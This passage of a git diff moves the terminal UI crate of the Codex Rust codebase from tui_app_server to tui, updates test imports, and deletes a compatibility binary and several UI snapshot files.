codex-rs/tui_app_server/src/status/mod.rs rename to codex-rs/tui/src/status/mod.rs diff --git a/codex-rs/tui_app_server/src/status/rate_limits.rs b/codex-rs/tui/src/status/rate_limits.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/rate_limits.rs rename to codex-rs/tui/src/status/rate_limits.rs diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_credits_and_limits.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_forked_from.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_monthly_limit.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_includes_reasoning_details.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_empty_limits_message.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_missing_limits_message.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_shows_stale_limits_message.snap diff --git a/codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap b/codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap similarity index 100% rename from codex-rs/tui_app_server/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap rename to codex-rs/tui/src/status/snapshots/codex_tui__status__tests__status_snapshot_truncates_in_narrow_terminal.snap diff --git a/codex-rs/tui_app_server/src/status/tests.rs b/codex-rs/tui/src/status/tests.rs similarity index 100% rename from codex-rs/tui_app_server/src/status/tests.rs rename to codex-rs/tui/src/status/tests.rs diff --git a/codex-rs/tui_app_server/src/status_indicator_widget.rs b/codex-rs/tui/src/status_indicator_widget.rs similarity index 100% rename from codex-rs/tui_app_server/src/status_indicator_widget.rs rename to codex-rs/tui/src/status_indicator_widget.rs diff --git a/codex-rs/tui_app_server/src/streaming/chunking.rs b/codex-rs/tui/src/streaming/chunking.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/chunking.rs rename to codex-rs/tui/src/streaming/chunking.rs diff --git a/codex-rs/tui_app_server/src/streaming/commit_tick.rs b/codex-rs/tui/src/streaming/commit_tick.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/commit_tick.rs rename to codex-rs/tui/src/streaming/commit_tick.rs diff --git a/codex-rs/tui_app_server/src/streaming/controller.rs b/codex-rs/tui/src/streaming/controller.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/controller.rs rename to codex-rs/tui/src/streaming/controller.rs diff --git a/codex-rs/tui_app_server/src/streaming/mod.rs b/codex-rs/tui/src/streaming/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/streaming/mod.rs rename to codex-rs/tui/src/streaming/mod.rs diff --git a/codex-rs/tui_app_server/src/style.rs b/codex-rs/tui/src/style.rs similarity index 100% rename from codex-rs/tui_app_server/src/style.rs rename to codex-rs/tui/src/style.rs diff --git a/codex-rs/tui_app_server/src/terminal_palette.rs b/codex-rs/tui/src/terminal_palette.rs similarity index 100% rename from codex-rs/tui_app_server/src/terminal_palette.rs rename to codex-rs/tui/src/terminal_palette.rs diff --git a/codex-rs/tui_app_server/src/terminal_title.rs b/codex-rs/tui/src/terminal_title.rs similarity index 100% rename from codex-rs/tui_app_server/src/terminal_title.rs rename to codex-rs/tui/src/terminal_title.rs diff --git a/codex-rs/tui_app_server/src/test_backend.rs b/codex-rs/tui/src/test_backend.rs similarity index 100% rename from codex-rs/tui_app_server/src/test_backend.rs rename to codex-rs/tui/src/test_backend.rs diff --git a/codex-rs/tui_app_server/src/test_support.rs b/codex-rs/tui/src/test_support.rs similarity index 100% rename from codex-rs/tui_app_server/src/test_support.rs rename to codex-rs/tui/src/test_support.rs diff --git a/codex-rs/tui_app_server/src/text_formatting.rs b/codex-rs/tui/src/text_formatting.rs similarity index 100% rename from codex-rs/tui_app_server/src/text_formatting.rs rename to codex-rs/tui/src/text_formatting.rs diff --git a/codex-rs/tui_app_server/src/theme_picker.rs b/codex-rs/tui/src/theme_picker.rs similarity index 100% rename from codex-rs/tui_app_server/src/theme_picker.rs rename to codex-rs/tui/src/theme_picker.rs diff --git a/codex-rs/tui_app_server/src/tooltips.rs b/codex-rs/tui/src/tooltips.rs similarity index 100% rename from codex-rs/tui_app_server/src/tooltips.rs rename to codex-rs/tui/src/tooltips.rs diff --git a/codex-rs/tui_app_server/src/tui.rs b/codex-rs/tui/src/tui.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui.rs rename to codex-rs/tui/src/tui.rs diff --git a/codex-rs/tui_app_server/src/tui/event_stream.rs b/codex-rs/tui/src/tui/event_stream.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/event_stream.rs rename to codex-rs/tui/src/tui/event_stream.rs diff --git a/codex-rs/tui_app_server/src/tui/frame_rate_limiter.rs b/codex-rs/tui/src/tui/frame_rate_limiter.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/frame_rate_limiter.rs rename to codex-rs/tui/src/tui/frame_rate_limiter.rs diff --git a/codex-rs/tui_app_server/src/tui/frame_requester.rs b/codex-rs/tui/src/tui/frame_requester.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/frame_requester.rs rename to codex-rs/tui/src/tui/frame_requester.rs diff --git a/codex-rs/tui_app_server/src/tui/job_control.rs b/codex-rs/tui/src/tui/job_control.rs similarity index 100% rename from codex-rs/tui_app_server/src/tui/job_control.rs rename to codex-rs/tui/src/tui/job_control.rs diff --git a/codex-rs/tui_app_server/src/ui_consts.rs b/codex-rs/tui/src/ui_consts.rs similarity index 100% rename from codex-rs/tui_app_server/src/ui_consts.rs rename to codex-rs/tui/src/ui_consts.rs diff --git a/codex-rs/tui_app_server/src/update_action.rs b/codex-rs/tui/src/update_action.rs similarity index 100% rename from codex-rs/tui_app_server/src/update_action.rs rename to codex-rs/tui/src/update_action.rs diff --git a/codex-rs/tui_app_server/src/update_prompt.rs b/codex-rs/tui/src/update_prompt.rs similarity index 100% rename from codex-rs/tui_app_server/src/update_prompt.rs rename to codex-rs/tui/src/update_prompt.rs diff --git a/codex-rs/tui_app_server/src/updates.rs b/codex-rs/tui/src/updates.rs similarity index 100% rename from codex-rs/tui_app_server/src/updates.rs rename to codex-rs/tui/src/updates.rs diff --git a/codex-rs/tui_app_server/src/version.rs b/codex-rs/tui/src/version.rs similarity index 100% rename from codex-rs/tui_app_server/src/version.rs rename to codex-rs/tui/src/version.rs diff --git a/codex-rs/tui_app_server/src/voice.rs b/codex-rs/tui/src/voice.rs similarity index 100% rename from codex-rs/tui_app_server/src/voice.rs rename to codex-rs/tui/src/voice.rs diff --git a/codex-rs/tui_app_server/src/wrapping.rs b/codex-rs/tui/src/wrapping.rs similarity index 100% rename from codex-rs/tui_app_server/src/wrapping.rs rename to codex-rs/tui/src/wrapping.rs diff --git a/codex-rs/tui_app_server/styles.md b/codex-rs/tui/styles.md similarity index 100% rename from codex-rs/tui_app_server/styles.md rename to codex-rs/tui/styles.md diff --git a/codex-rs/tui_app_server/tests/all.rs b/codex-rs/tui/tests/all.rs similarity index 100% rename from codex-rs/tui_app_server/tests/all.rs rename to codex-rs/tui/tests/all.rs diff --git a/codex-rs/tui_app_server/tests/fixtures/oss-story.jsonl b/codex-rs/tui/tests/fixtures/oss-story.jsonl similarity index 100% rename from codex-rs/tui_app_server/tests/fixtures/oss-story.jsonl rename to codex-rs/tui/tests/fixtures/oss-story.jsonl diff --git a/codex-rs/tui_app_server/tests/manager_dependency_regression.rs b/codex-rs/tui/tests/manager_dependency_regression.rs similarity index 95% rename from codex-rs/tui_app_server/tests/manager_dependency_regression.rs rename to codex-rs/tui/tests/manager_dependency_regression.rs index 2329fc847f..35a05b7034 100644 --- a/codex-rs/tui_app_server/tests/manager_dependency_regression.rs +++ b/codex-rs/tui/tests/manager_dependency_regression.rs @@ -20,7 +20,7 @@ fn rust_sources_under(dir: &Path) -> Vec { } #[test] -fn tui_app_server_runtime_source_does_not_depend_on_manager_escape_hatches() { +fn tui_runtime_source_does_not_depend_on_manager_escape_hatches() { let src_dir = codex_utils_cargo_bin::find_resource!("src") .unwrap_or_else(|err| panic!("failed to resolve src runfile: {err}")); let sources = rust_sources_under(&src_dir); diff --git a/codex-rs/tui_app_server/tests/suite/mod.rs b/codex-rs/tui/tests/suite/mod.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/mod.rs rename to codex-rs/tui/tests/suite/mod.rs diff --git a/codex-rs/tui_app_server/tests/suite/model_availability_nux.rs b/codex-rs/tui/tests/suite/model_availability_nux.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/model_availability_nux.rs rename to codex-rs/tui/tests/suite/model_availability_nux.rs diff --git a/codex-rs/tui_app_server/tests/suite/no_panic_on_startup.rs b/codex-rs/tui/tests/suite/no_panic_on_startup.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/no_panic_on_startup.rs rename to codex-rs/tui/tests/suite/no_panic_on_startup.rs diff --git a/codex-rs/tui_app_server/tests/suite/status_indicator.rs b/codex-rs/tui/tests/suite/status_indicator.rs similarity index 100% rename from codex-rs/tui_app_server/tests/suite/status_indicator.rs rename to codex-rs/tui/tests/suite/status_indicator.rs diff --git a/codex-rs/tui_app_server/tests/suite/vt100_history.rs b/codex-rs/tui/tests/suite/vt100_history.rs similarity index 94% rename from codex-rs/tui_app_server/tests/suite/vt100_history.rs rename to codex-rs/tui/tests/suite/vt100_history.rs index 8c41fa89e6..6df9dedf13 100644 --- a/codex-rs/tui_app_server/tests/suite/vt100_history.rs +++ b/codex-rs/tui/tests/suite/vt100_history.rs @@ -23,20 +23,20 @@ macro_rules! assert_contains { } struct TestScenario { - term: codex_tui_app_server::custom_terminal::Terminal, + term: codex_tui::custom_terminal::Terminal, } impl TestScenario { fn new(width: u16, height: u16, viewport: Rect) -> Self { let backend = VT100Backend::new(width, height); - let mut term = codex_tui_app_server::custom_terminal::Terminal::with_options(backend) + let mut term = codex_tui::custom_terminal::Terminal::with_options(backend) .expect("failed to construct terminal"); term.set_viewport_area(viewport); Self { term } } fn run_insert(&mut self, lines: Vec>) { - codex_tui_app_server::insert_history::insert_history_lines(&mut self.term, lines) + codex_tui::insert_history::insert_history_lines(&mut self.term, lines) .expect("Failed to insert history lines in test"); } } diff --git a/codex-rs/tui_app_server/tests/suite/vt100_live_commit.rs b/codex-rs/tui/tests/suite/vt100_live_commit.rs similarity index 83% rename from codex-rs/tui_app_server/tests/suite/vt100_live_commit.rs rename to codex-rs/tui/tests/suite/vt100_live_commit.rs index e75845c086..2be9658b23 100644 --- a/codex-rs/tui_app_server/tests/suite/vt100_live_commit.rs +++ b/codex-rs/tui/tests/suite/vt100_live_commit.rs @@ -7,7 +7,7 @@ use ratatui::text::Line; #[test] fn live_001_commit_on_overflow() { let backend = VT100Backend::new(20, 6); - let mut term = match codex_tui_app_server::custom_terminal::Terminal::with_options(backend) { + let mut term = match codex_tui::custom_terminal::Terminal::with_options(backend) { Ok(t) => t, Err(e) => panic!("failed to construct terminal: {e}"), }; @@ -15,7 +15,7 @@ fn live_001_commit_on_overflow() { term.set_viewport_area(area); // Build 5 explicit rows at width 20. - let mut rb = codex_tui_app_server::live_wrap::RowBuilder::new(20); + let mut rb = codex_tui::live_wrap::RowBuilder::new(20); rb.push_fragment("one\n"); rb.push_fragment("two\n"); rb.push_fragment("three\n"); @@ -26,7 +26,7 @@ fn live_001_commit_on_overflow() { let commit_rows = rb.drain_commit_ready(3); let lines: Vec> = commit_rows.into_iter().map(|r| r.text.into()).collect(); - codex_tui_app_server::insert_history::insert_history_lines(&mut term, lines) + codex_tui::insert_history::insert_history_lines(&mut term, lines) .expect("Failed to insert history lines in test"); let screen = term.backend().vt100().screen(); diff --git a/codex-rs/tui_app_server/tests/test_backend.rs b/codex-rs/tui/tests/test_backend.rs similarity index 100% rename from codex-rs/tui_app_server/tests/test_backend.rs rename to codex-rs/tui/tests/test_backend.rs diff --git a/codex-rs/tui_app_server/tooltips.txt b/codex-rs/tui/tooltips.txt similarity index 100% rename from codex-rs/tui_app_server/tooltips.txt rename to codex-rs/tui/tooltips.txt diff --git a/codex-rs/tui_app_server/src/bin/codex-tui.rs b/codex-rs/tui_app_server/src/bin/codex-tui.rs deleted file mode 100644 index 8ecb67c579..0000000000 --- a/codex-rs/tui_app_server/src/bin/codex-tui.rs +++ /dev/null @@ -1,45 +0,0 @@ -//! Compatibility binary that preserves the `codex-tui` entrypoint while the crate -//! directory and package name remain `tui_app_server` for now. - -use clap::Parser; -use codex_arg0::Arg0DispatchPaths; -use codex_arg0::arg0_dispatch_or_else; -use codex_tui_app_server::Cli; -use codex_tui_app_server::run_main; -use codex_utils_cli::CliConfigOverrides; - -#[derive(Parser, Debug)] -struct TopCli { - #[clap(flatten)] - config_overrides: CliConfigOverrides, - - #[clap(flatten)] - inner: Cli, -} - -fn main() -> anyhow::Result<()> { - arg0_dispatch_or_else(|arg0_paths: Arg0DispatchPaths| async move { - let top_cli = TopCli::parse(); - let mut inner = top_cli.inner; - inner - .config_overrides - .raw_overrides - .splice(0..0, top_cli.config_overrides.raw_overrides); - let exit_info = run_main( - inner, - arg0_paths, - codex_core::config_loader::LoaderOverrides::default(), - /*remote*/ None, - /*remote_auth_token*/ None, - ) - .await?; - let token_usage = exit_info.token_usage; - if !token_usage.is_zero() { - println!( - "{}", - codex_protocol::protocol::FinalOutput::from(token_usage), - ); - } - Ok(()) - }) -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap deleted file mode 100644 index 6b398eda52..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/2 (2 unanswered) - Choose an option. - - 1. Option 1 First choice. - › 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer - ←/→ to navigate questions | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap deleted file mode 100644 index 67db511e2b..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_freeform.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Share details. - - › Type your answer (optional) - - - - enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap deleted file mode 100644 index 137b763065..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - What would you like to do next? - - 2. Run tests Pick a crate and run its tests. - 3. Review a diff Summarize or review current changes. - › 4. Refactor Tighten structure and remove dead code. - - option 4/5 | tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap deleted file mode 100644 index 07c6baa950..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose one option. - - › 1. Job: running/completed/failed/expired; Run/Experiment: succeeded/failed/ Keep async job statuses for - unknown (Recommended when triaging long-running background work and status progress tracking and include - transitions) enough context for debugging - retries, stale workers, and - unexpected expiration paths. - 2. Add a short status model Simpler labels with less detail for - quick rollouts. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap deleted file mode 100644 index 28f07c0f71..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/2 (2 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer | ←/→ to navigate questions | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap deleted file mode 100644 index 0cb6c98b86..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 2/2 (2 unanswered) - Share details. - - › Type your answer (optional) - - - - - - enter to submit all | ctrl + p / ctrl + n change question | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap deleted file mode 100644 index dd790c1d1e..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap deleted file mode 100644 index 974fa92932..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - › Add notes - - - - - - tab or esc to clear notes | enter to submit answer diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap deleted file mode 100644 index 721dc1b4eb..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - What would you like to do next? - - 1. Discuss a code change (Recommended) Walk through a plan and edit code together. - 2. Run tests Pick a crate and run its tests. - 3. Review a diff Summarize or review current changes. - › 4. Refactor Tighten structure and remove dead code. - 5. Ship it Finalize and open a PR. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap deleted file mode 100644 index dd790c1d1e..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose an option. - - › 1. Option 1 First choice. - 2. Option 2 Second choice. - 3. Option 3 Third choice. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap deleted file mode 100644 index d6723046f8..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Submit with unanswered questions? - 2 unanswered questions - - › 1. Proceed Submit with 2 unanswered questions. - 2. Go back Return to the first unanswered question. - - - - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap b/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap deleted file mode 100644 index 47d949868d..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui_app_server__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/bottom_pane/request_user_input/mod.rs -expression: "render_snapshot(&overlay, area)" ---- - - Question 1/1 (1 unanswered) - Choose the next step for this task. - - › 1. Discuss a code change Walk through a plan, then implement it together with careful checks. - 2. Run targeted tests Pick the most relevant crate and validate the current behavior first. - 3. Review the diff Summarize the changes and highlight the most important risks and gaps. - - tab to add notes | enter to submit answer | esc to interrupt diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap deleted file mode 100644 index 12744049fa..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__pending_input_preview__tests__render_pending_steers_above_queued_messages.snap +++ /dev/null @@ -1,34 +0,0 @@ ---- -source: tui/src/bottom_pane/pending_input_preview.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 52, height: 8 }, - content: [ - "• Messages to be submitted after next tool call ", - " (press esc to interrupt and send immediately) ", - " ↳ Please continue. ", - " ↳ Check the last command output. ", - " ", - "• Queued follow-up messages ", - " ↳ Queued follow-up question ", - " ⌥ + ↑ edit last queued message ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 47, y: 1, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 20, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 3, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 2, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 4, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: DIM | ITALIC, - x: 29, y: 6, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 34, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - ] -} diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap b/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap deleted file mode 100644 index 4bf692c883..0000000000 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: 